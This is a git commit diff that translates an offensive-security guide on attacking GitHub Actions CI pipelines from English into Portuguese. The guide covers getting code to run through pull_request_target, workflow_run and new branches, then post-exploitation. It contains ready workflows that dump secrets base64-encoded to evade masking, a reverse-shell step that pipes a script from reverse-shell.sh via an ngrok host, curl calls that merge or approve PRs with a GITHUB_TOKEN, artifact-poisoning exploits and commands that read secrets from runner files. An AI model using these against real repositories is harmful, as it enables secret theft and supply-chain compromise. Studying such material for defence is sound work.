Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/

This commit is contained in:
Translator
2024-12-31 20:11:38 +00:00
parent ea97a1362c
commit 427eda5e4b
245 changed files with 10192 additions and 12906 deletions

View File

@@ -4,389 +4,371 @@
## Basic Information
In this page you will find:
Nesta página você encontrará:
- A **summary of all the impacts** of an attacker managing to access a Github Action
- Different ways to **get access to an action**:
- Having **permissions** to create the action
- Abusing **pull request** related triggers
- Abusing **other external access** techniques
- **Pivoting** from an already compromised repo
- Finally, a section about **post-exploitation techniques to abuse an action from inside** (cause the mentioned impacts)
- Um **resumo de todos os impactos** de um atacante conseguindo acessar uma Github Action
- Diferentes maneiras de **obter acesso a uma ação**:
- Ter **permissões** para criar a ação
- Abusar de **gatilhos** relacionados a pull requests
- Abusar de **outras técnicas de acesso externo**
- **Pivotar** de um repositório já comprometido
- Finalmente, uma seção sobre **técnicas de pós-exploração para abusar de uma ação de dentro** (causando os impactos mencionados)
## Impacts Summary
For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
Para uma introdução sobre [**Github Actions, confira as informações básicas**](../basic-github-information.md#github-actions).
If you can **execute arbitrary code in GitHub Actions** within a **repository**, you may be able to:
Se você pode **executar código arbitrário no GitHub Actions** dentro de um **repositório**, você pode ser capaz de:
- **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP.
- **Compromise deployments** and other **artifacts**.
- If the pipeline deploys or stores assets, you could alter the final product, enabling a supply chain attack.
- **Execute code in custom workers** to abuse computing power and pivot to other systems.
- **Overwrite repository code**, depending on the permissions associated with the `GITHUB_TOKEN`.
- **Roubar segredos** montados no pipeline e **abusar dos privilégios do pipeline** para obter acesso não autorizado a plataformas externas, como AWS e GCP.
- **Comprometer implantações** e outros **artefatos**.
- Se o pipeline implanta ou armazena ativos, você poderia alterar o produto final, possibilitando um ataque à cadeia de suprimentos.
- **Executar código em trabalhadores personalizados** para abusar do poder computacional e pivotar para outros sistemas.
- **Sobrescrever o código do repositório**, dependendo das permissões associadas ao `GITHUB_TOKEN`.
## GITHUB_TOKEN
This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
Este "**segredo**" (vindo de `${{ secrets.GITHUB_TOKEN }}` e `${{ github.token }}`) é fornecido quando o administrador habilita esta opção:
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
Este token é o mesmo que uma **Aplicação Github usará**, então pode acessar os mesmos endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
> [!WARNING]
> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
> O Github deve lançar um [**fluxo**](https://github.com/github/roadmap/issues/74) que **permita acesso entre repositórios** dentro do GitHub, para que um repositório possa acessar outros repositórios internos usando o `GITHUB_TOKEN`.
You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
Você pode ver as possíveis **permissões** deste token em: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
Note that the token **expires after the job has completed**.\
These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
Note que o token **expira após a conclusão do trabalho**.\
Esses tokens se parecem com isso: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
Some interesting things you can do with this token:
Algumas coisas interessantes que você pode fazer com este token:
{{#tabs }}
{{#tab name="Merge PR" }}
```bash
# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"
```
{{#endtab }}
{{#tab name="Approve PR" }}
{{#tab name="Aprovar PR" }}
```bash
# Approve a PR
curl -X POST \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'
```
{{#endtab }}
{{#tab name="Create PR" }}
{{#tab name="Criar PR" }}
```bash
# Create a PR
curl -X POST \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'
```
{{#endtab }}
{{#endtabs }}
> [!CAUTION]
> Note that in several occasions you will be able to find **github user tokens inside Github Actions envs or in the secrets**. These tokens may give you more privileges over the repository and organization.
> Note que em várias ocasiões você poderá encontrar **tokens de usuário do github dentro das envs do Github Actions ou nos segredos**. Esses tokens podem lhe dar mais privilégios sobre o repositório e a organização.
<details>
<summary>List secrets in Github Action output</summary>
<summary>Listar segredos na saída do Github Action</summary>
```yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
<details>
<summary>Get reverse shell with secrets</summary>
<summary>Obter shell reverso com segredos</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
It's possible to check the permissions given to a Github Token in other users repositories **checking the logs** of the actions:
É possível verificar as permissões concedidas a um Github Token em repositórios de outros usuários **verificando os logs** das ações:
<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
## Allowed Execution
## Execução Permitida
> [!NOTE]
> This would be the easiest way to compromise Github actions, as this case suppose that you have access to **create a new repo in the organization**, or have **write privileges over a repository**.
> Esta seria a maneira mais fácil de comprometer ações do Github, já que este caso supõe que você tenha acesso para **criar um novo repositório na organização**, ou tenha **privilegios de escrita sobre um repositório**.
>
> If you are in this scenario you can just check the [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action).
> Se você estiver nesse cenário, pode apenas verificar as [técnicas de Pós Exploração](./#post-exploitation-techniques-from-inside-an-action).
### Execution from Repo Creation
### Execução a partir da Criação de Repositório
In case members of an organization can **create new repos** and you can execute github actions, you can **create a new repo and steal the secrets set at organization level**.
Caso membros de uma organização possam **criar novos repositórios** e você possa executar ações do github, você pode **criar um novo repositório e roubar os segredos definidos no nível da organização**.
### Execution from a New Branch
### Execução a partir de um Novo Branch
If you can **create a new branch in a repository that already contains a Github Action** configured, you can **modify** it, **upload** the content, and then **execute that action from the new branch**. This way you can **exfiltrate repository and organization level secrets** (but you need to know how they are called).
You can make the modified action executable **manually,** when a **PR is created** or when **some code is pushed** (depending on how noisy you want to be):
Se você puder **criar um novo branch em um repositório que já contém uma Ação do Github** configurada, você pode **modificá-la**, **carregar** o conteúdo e então **executar essa ação a partir do novo branch**. Dessa forma, você pode **exfiltrar segredos em nível de repositório e organização** (mas você precisa saber como eles são chamados).
Você pode tornar a ação modificada executável **manualmente,** quando um **PR é criado** ou quando **algum código é enviado** (dependendo de quão barulhento você quer ser):
```yaml
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches
```
---
## Forked Execution
## Execução Forked
> [!NOTE]
> There are different triggers that could allow an attacker to **execute a Github Action of another repository**. If those triggerable actions are poorly configured, an attacker could be able to compromise them.
> Existem diferentes gatilhos que poderiam permitir a um atacante **executar uma Github Action de outro repositório**. Se essas ações acionáveis forem mal configuradas, um atacante poderá comprometê-las.
### `pull_request`
The workflow trigger **`pull_request`** will execute the workflow every time a pull request is received with some exceptions: by default if it's the **first time** you are **collaborating**, some **maintainer** will need to **approve** the **run** of the workflow:
O gatilho do fluxo de trabalho **`pull_request`** executará o fluxo de trabalho toda vez que um pull request for recebido, com algumas exceções: por padrão, se for a **primeira vez** que você está **colaborando**, algum **mantenedor** precisará **aprovar** a **execução** do fluxo de trabalho:
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> As the **default limitation** is for **first-time** contributors, you could contribute **fixing a valid bug/typo** and then send **other PRs to abuse your new `pull_request` privileges**.
> Como a **limitação padrão** é para **contribuidores de primeira viagem**, você poderia contribuir **corrigindo um bug/erro válido** e depois enviar **outros PRs para abusar de seus novos privilégios de `pull_request`**.
>
> **I tested this and it doesn't work**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~
> **Eu testei isso e não funciona**: ~~Outra opção seria criar uma conta com o nome de alguém que contribuiu para o projeto e deletou sua conta.~~
Moreover, by default **prevents write permissions** and **secrets access** to the target repository as mentioned in the [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
Além disso, por padrão **impede permissões de escrita** e **acesso a segredos** no repositório alvo, conforme mencionado na [**documentação**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
> Com a exceção de `GITHUB_TOKEN`, **segredos não são passados para o runner** quando um fluxo de trabalho é acionado de um repositório **forked**. O **`GITHUB_TOKEN` tem permissões de leitura** em pull requests **de repositórios forked**.
An attacker could modify the definition of the Github Action in order to execute arbitrary things and append arbitrary actions. However, he won't be able to steal secrets or overwrite the repo because of the mentioned limitations.
Um atacante poderia modificar a definição da Github Action para executar coisas arbitrárias e adicionar ações arbitrárias. No entanto, ele não poderá roubar segredos ou sobrescrever o repositório devido às limitações mencionadas.
> [!CAUTION]
> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!**
> **Sim, se o atacante mudar no PR a github action que será acionada, sua Github Action será a utilizada e não a do repositório de origem!**
As the attacker also controls the code being executed, even if there aren't secrets or write permissions on the `GITHUB_TOKEN` an attacker could for example **upload malicious artifacts**.
Como o atacante também controla o código sendo executado, mesmo que não haja segredos ou permissões de escrita no `GITHUB_TOKEN`, um atacante poderia, por exemplo, **carregar artefatos maliciosos**.
### **`pull_request_target`**
The workflow trigger **`pull_request_target`** have **write permission** to the target repository and **access to secrets** (and doesn't ask for permission).
O gatilho do fluxo de trabalho **`pull_request_target`** tem **permissão de escrita** no repositório alvo e **acesso a segredos** (e não pede permissão).
Note that the workflow trigger **`pull_request_target`** **runs in the base context** and not in the one given by the PR (to **not execute untrusted code**). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
Note que o gatilho do fluxo de trabalho **`pull_request_target`** **executa no contexto base** e não no fornecido pelo PR (para **não executar código não confiável**). Para mais informações sobre `pull_request_target`, [**verifique a documentação**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
Além disso, para mais informações sobre esse uso específico perigoso, confira este [**post no blog do github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
It might look like because the **executed workflow** is the one defined in the **base** and **not in the PR** it's **secure** to use **`pull_request_target`**, but there are a **few cases were it isn't**.
Pode parecer que, porque o **fluxo de trabalho executado** é o definido na **base** e **não no PR**, é **seguro** usar **`pull_request_target`**, mas há **alguns casos em que não é**.
An this one will have **access to secrets**.
E este terá **acesso a segredos**.
### `workflow_run`
The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:
O gatilho [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) permite executar um fluxo de trabalho a partir de outro quando está `completo`, `solicitado` ou `em_andamento`.
Neste exemplo, um fluxo de trabalho é configurado para ser executado após a conclusão do fluxo de trabalho separado "Executar Testes":
```yaml
on:
workflow_run:
workflows: [Run Tests]
types:
- completed
workflow_run:
workflows: [Run Tests]
types:
- completed
```
Além disso, de acordo com a documentação: O fluxo de trabalho iniciado pelo evento `workflow_run` é capaz de **acessar segredos e escrever tokens, mesmo que o fluxo de trabalho anterior não tenha**.
Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\
The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**.
Esse tipo de fluxo de trabalho pode ser atacado se **depender** de um **fluxo de trabalho** que pode ser **ativado** por um usuário externo via **`pull_request`** ou **`pull_request_target`**. Alguns exemplos vulneráveis podem ser [**encontrados neste blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** O primeiro consiste no fluxo de trabalho ativado por **`workflow_run`** baixando o código dos atacantes: `${{ github.event.pull_request.head.sha }}`\
O segundo consiste em **passar** um **artefato** do código **não confiável** para o fluxo de trabalho **`workflow_run`** e usar o conteúdo desse artefato de uma maneira que o torne **vulnerável a RCE**.
### `workflow_call`
TODO
TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
TODO: Verificar se, quando executado a partir de um pull_request, o código usado/baixado é o do origin ou do PR bifurcado
## Abusing Forked Execution
## Abusando da Execução Bifurcada
We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused:
Mencionamos todas as maneiras que um atacante externo poderia conseguir fazer um fluxo de trabalho do github ser executado, agora vamos dar uma olhada em como essas execuções, se mal configuradas, poderiam ser abusadas:
### Untrusted checkout execution
### Execução de checkout não confiável
In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](./#pull_request).
No caso de **`pull_request`,** o fluxo de trabalho será executado no **contexto do PR** (então executará o **código malicioso do PR**), mas alguém precisa **autorizá-lo primeiro** e ele será executado com algumas [limitações](./#pull_request).
In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**.
No caso de um fluxo de trabalho usando **`pull_request_target` ou `workflow_run`** que depende de um fluxo de trabalho que pode ser ativado a partir de **`pull_request_target` ou `pull_request`**, o código do repositório original será executado, então o **atacante não pode controlar o código executado**.
> [!CAUTION]
> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
> No entanto, se a **ação** tiver um **checkout explícito do PR** que irá **obter o código do PR** (e não da base), ele usará o código controlado pelos atacantes. Por exemplo (ver linha 12 onde o código do PR é baixado):
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Fornecido apenas como exemplo.
on:
pull_request_target
pull_request_target
jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
<strong> - uses: actions/checkout@v2
</strong><strong> with:
</strong><strong> ref: ${{ github.event.pull_request.head.sha }}
</strong>
- uses: actions/setup-node@v1
- run: |
npm install
npm build
- uses: actions/setup-node@v1
- run: |
npm install
npm build
- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}
- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}
- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!
- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!
</code></pre>
The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**.
O código potencialmente **não confiável está sendo executado durante `npm install` ou `npm build`**, pois os scripts de build e os **pacotes referenciados são controlados pelo autor do PR**.
> [!WARNING]
> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
> Um dork do github para procurar ações vulneráveis é: `event.pull_request pull_request_target extension:yml`, no entanto, existem diferentes maneiras de configurar os jobs para serem executados de forma segura, mesmo que a ação esteja configurada de forma insegura (como usar condicionais sobre quem é o ator gerando o PR).
### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
### Injeções de Script de Contexto <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:**
Observe que existem certos [**contextos do github**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) cujos valores são **controlados** pelo **usuário** que cria o PR. Se a ação do github estiver usando esses **dados para executar qualquer coisa**, isso pode levar à **execução de código arbitrário:**
{{#ref}}
gh-actions-context-script-injections.md
{{#endref}}
### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
### **Injeção de Script GITHUB_ENV** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file.
De acordo com a documentação: Você pode tornar uma **variável de ambiente disponível para quaisquer etapas subsequentes** em um job de fluxo de trabalho definindo ou atualizando a variável de ambiente e escrevendo isso no arquivo de ambiente **`GITHUB_ENV`**.
If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**.
Se um atacante puder **injetar qualquer valor** dentro dessa variável **env**, ele poderá injetar variáveis de ambiente que poderiam executar código nas etapas seguintes, como **LD_PRELOAD** ou **NODE_OPTIONS**.
For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it:
Por exemplo ([**este**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) e [**este**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine um fluxo de trabalho que confia em um artefato carregado para armazenar seu conteúdo dentro da variável de ambiente **`GITHUB_ENV`**. Um atacante poderia carregar algo assim para comprometê-lo:
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
### Vulnerable Third Party Github Actions
### Ações do Github de Terceiros Vulneráveis
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories.
Como mencionado em [**este post do blog**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), esta Ação do Github permite acessar artefatos de diferentes fluxos de trabalho e até mesmo repositórios.
The thing problem is that if the **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact.
Example of vulnerable workflow:
O problema é que se o parâmetro **`path`** não estiver definido, o artefato é extraído no diretório atual e pode sobrescrever arquivos que poderiam ser usados ou até mesmo executados no fluxo de trabalho. Portanto, se o Artefato for vulnerável, um atacante poderia abusar disso para comprometer outros fluxos de trabalho que confiam no Artefato.
Exemplo de fluxo de trabalho vulnerável:
```yaml
on:
workflow_run:
workflows: ["some workflow"]
types:
- completed
workflow_run:
workflows: ["some workflow"]
types:
- completed
jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py
```
This could be attacked with this workflow:
Isto pode ser atacado com este fluxo de trabalho:
```yaml
name: "some workflow"
on: pull_request
jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py
```
---
## Other External Access
## Outro Acesso Externo
### Deleted Namespace Repo Hijacking
### Sequestro de Repositório de Namespace Deletado
If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
Se uma conta mudar seu nome, outro usuário pode registrar uma conta com esse nome após algum tempo. Se um repositório tinha **menos de 100 estrelas antes da mudança de nome**, o Github permitirá que o novo usuário registrado com o mesmo nome crie um **repositório com o mesmo nome** que o deletado.
> [!CAUTION]
> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action.
> Portanto, se uma ação estiver usando um repositório de uma conta inexistente, ainda é possível que um atacante crie essa conta e comprometa a ação.
If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
Se outros repositórios estavam usando **dependências desses repositórios de usuário**, um atacante poderá sequestrá-los. Aqui está uma explicação mais completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
---
## Repo Pivoting
## Pivotagem de Repositório
> [!NOTE]
> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section).
> Nesta seção, falaremos sobre técnicas que permitiriam **pivotar de um repositório para outro**, supondo que temos algum tipo de acesso ao primeiro (verifique a seção anterior).
### Cache Poisoning
### Envenenamento de Cache
A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
Um cache é mantido entre **execuções de workflow na mesma branch**. O que significa que, se um atacante **comprometer** um **pacote** que é então armazenado no cache e **baixado** e executado por um **workflow mais privilegiado**, ele poderá **comprometer** também esse workflow.
{{#ref}}
gh-actions-cache-poisoning.md
{{#endref}}
### Artifact Poisoning
### Envenenamento de Artefato
Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**:
Workflows podem usar **artefatos de outros workflows e até repositórios**, se um atacante conseguir **comprometer** a Github Action que **faz o upload de um artefato** que é posteriormente usado por outro workflow, ele poderá **comprometer os outros workflows**:
{{#ref}}
gh-actions-artifact-poisoning.md
@@ -394,11 +376,11 @@ gh-actions-artifact-poisoning.md
---
## Post Exploitation from an Action
## Pós Exploração de uma Ação
### Accessing AWS and GCP via OIDC
### Acessando AWS e GCP via OIDC
Check the following pages:
Verifique as seguintes páginas:
{{#ref}}
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -408,170 +390,160 @@ Check the following pages:
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
{{#endref}}
### Accessing secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
### Acessando segredos <a href="#accessing-secrets" id="accessing-secrets"></a>
If you are injecting content into a script it's interesting to know how you can access secrets:
Se você estiver injetando conteúdo em um script, é interessante saber como você pode acessar segredos:
- If the secret or token is set to an **environment variable**, it can be directly accessed through the environment using **`printenv`**.
- Se o segredo ou token estiver definido como uma **variável de ambiente**, ele pode ser acessado diretamente através do ambiente usando **`printenv`**.
<details>
<summary>List secrets in Github Action output</summary>
<summary>Listar segredos na saída da Github Action</summary>
```yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
<details>
<summary>Get reverse shell with secrets</summary>
<summary>Obter shell reverso com segredos</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
- ```bash
cat /home/runner/work/_temp/*
```
- For a JavaScript actions the secrets and sent through environment variables
- ```bash
ps axe | grep node
```
